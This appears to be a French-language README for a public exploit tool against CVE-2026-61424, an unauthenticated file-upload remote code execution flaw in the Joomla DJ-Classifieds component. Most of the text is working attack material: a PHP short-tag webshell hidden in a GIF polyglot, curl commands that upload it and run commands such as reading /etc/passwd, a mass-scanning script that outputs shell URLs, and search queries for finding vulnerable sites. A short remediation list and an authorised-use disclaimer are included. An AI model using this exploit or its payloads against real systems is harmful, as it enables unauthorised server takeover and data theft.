
Composant Joomla DJ-Classifieds — RCE par téléversement de fichier non authentifié. Contournement du filtre à 3 chaînes via les balises courtes PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Téléversement de fichier arbitraire non authentifié dans DJ-Classifieds pour Joomla. Le point de terminaison de la tâche imageupload traite les téléversements de fichiers sans authentification et repose sur une liste noire de 3 chaînes (<?php, eval(, base64) qui est trivialement contournée à l'aide des balises d'ouverture courtes PHP (<?=). Combiné à un GIF polyglotte, le fichier téléversé passe tous les contrôles de validation d'image tout en contenant un webshell PHP entièrement fonctionnel.
| Statut | Version |
|---|---|
| Vulnérable | 1.0 — 3.11.1 |
| Corrigée | 3.11.2 (20 juillet 2026) |
La méthode upload() dans administrator/components/com_djclassifieds/lib/djupload.php est associée à la tâche imageupload sans vérification d'authentification ni validation de jeton CSRF.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
Le scanneur de contenu ne bloque que trois chaînes littérales :
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
Cela bloque <?php, eval(, et base64 — mais pas les balises d'ouverture courtes PHP :
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
Les balises d'écho courtes PHP (<?=) sont activées par défaut depuis PHP 5.4.
GIF89a valide + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload avec name=shell.gif.gif ✓ getimagesize() ✓ aucun <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=idDes sondes de scanneurs anonymes observées dans la nature avant la divulgation :
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() avant upload()JSession::checkToken() sur la tâche imageuploadjpg, jpeg, png, gif)Cet outil est destiné uniquement à des tests de sécurité éducatifs et autorisés. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages.
Non affilié à DJ-Extensions ou mySites.guru.
| Champ | Détail |
|---|
| CVE | CVE-2026-61424 |
| Produit | DJ-Classifieds (extension Joomla de DJ-Extensions) |
| CVSS 4.0 | 10.0 (Critique) |
| Type | CWE-434 — Téléversement de fichier sans restriction |
| Découverte | Phil Taylor / mySites.guru — 16 juillet 2026 |
| Exploitation | Confirmée dans la nature avant la divulgation |
| Fichier | Rôle |
|---|
administrator/components/com_djclassifieds/lib/djupload.php | Méthode upload() — pas d'authentification, filtre à 3 chaînes |
components/com_djclassifieds/controller.php | Route la tâche imageupload vers upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | Divulgation de version via la balise <version> |
| Flag | Description | Défaut |
|---|
-t, --target | Hôte cible unique | — |
-f, --file | Fichier contenant les cibles (une par ligne, commentaires #) | — |
-o, --output | Enregistrer les URLs RCE dans un fichier | — |
--threads | Threads de travail pour le mode masse | 30 |
--no-cleanup | Ne pas supprimer le shell après le RCE | False |
--debug | Sortie de débogage | False |
| Ressource | Lien |
|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| Découverte mySites.guru | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| Publication de sécurité DJ-Extensions | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| Fiche CVE.org | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |